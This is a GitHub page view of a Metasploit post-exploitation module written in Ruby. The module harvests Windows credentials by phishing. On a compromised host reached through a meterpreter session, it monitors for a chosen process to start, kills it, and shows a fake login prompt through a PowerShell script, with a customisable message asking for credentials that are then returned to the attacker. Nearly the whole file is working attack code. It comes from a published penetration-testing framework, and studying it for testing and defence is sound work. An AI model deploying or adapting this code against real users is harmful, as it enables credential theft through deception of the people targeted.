-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Expand file tree
/
Copy pathphish_windows_credentials.rb
More file actions
132 lines (120 loc) · 4.89 KB
/
phish_windows_credentials.rb
File metadata and controls
132 lines (120 loc) · 4.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather User Credentials (phishing)',
'Description' => %q{
This module is able to perform a phishing attack on the target by popping up a loginprompt.
When the user fills credentials in the loginprompt, the credentials will be sent to the attacker.
The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7.
},
'License' => MSF_LICENSE,
'Author' => [
'Wesley Neelen <security[at]forsec.nl>', # Metasploit module, @wez3forsec on Twitter
'Matt Nelson' # Original powershell script, @enigma0x3 on Twitter
],
'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [SCREEN_EFFECTS],
'Reliability' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_process_kill
]
}
}
)
)
register_options(
[
OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]),
OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', '{PROCESS_NAME} needs your permissions to start. Please enter user credentials']),
]
)
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any PowerShell scripts to complete', 120])
]
)
end
# Function to run the InvokePrompt powershell script
def execute_invokeprompt_script(description, process, path)
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'Invoke-LoginPrompt.ps1'))
if process.nil?
sdescription = description.gsub('{PROCESS_NAME} needs your permissions to start. ', '')
psh_script = base_script.gsub('R{DESCRIPTION}', sdescription.to_s) << 'Invoke-LoginPrompt'
else
sdescription = description.gsub('{PROCESS_NAME}', process)
psh_script2 = base_script.gsub('R{DESCRIPTION}', sdescription.to_s) << 'Invoke-LoginPrompt'
psh_script = psh_script2.gsub('R{START_PROCESS}', "start-process \"#{path}\"")
end
compressed_script = compress_script(psh_script)
cmd_out, = execute_script(compressed_script, datastore['TIMEOUT'])
while (d = cmd_out.channel.read)
print_good(d.to_s)
end
end
# Function to monitor process creation
def procmon(process, description)
existing_procs = []
detected = false
first = true
print_status('Monitoring new processes.')
while detected == false
sleep(1)
procs = client.sys.process.processes
procs.each do |p|
if (p['name'] == process) || (process == '*')
if first == true
print_status("#{p['name']} is already running. Waiting on new instances to start")
existing_procs.push(p['pid'])
elsif !existing_procs.include? p['pid']
print_status("New process detected: #{p['pid']} #{p['name']}")
killproc(p['name'], p['pid'], description, p['path'])
detected = true
end
end
end
first = false
end
end
# Function to kill the process
def killproc(process, pid, description, path)
print_status('Killing the process and starting the popup script. Waiting on the user to fill in his credentials...')
client.sys.process.kill(pid)
execute_invokeprompt_script(description, process, path)
end
def run
fail_with(Failure::Unknown, 'PowerShell is not installed') unless have_powershell?
print_good('PowerShell is installed.')
# Check whether target system is locked
locked = client.railgun.user32.GetForegroundWindow()['return']
if locked == 0
fail_with(Failure::Unknown, 'Target system is locked. This post module cannot start the loginprompt when the target system is locked.')
end
process = datastore['PROCESS']
description = datastore['DESCRIPTION']
# Switch to check whether a specific process needs to be monitored, or just show the popup immediatly.
case process
when nil
print_status('Starting the popup script. Waiting on the user to fill in his credentials...')
execute_invokeprompt_script(description, nil, nil)
else
procmon(process, description)
end
end
end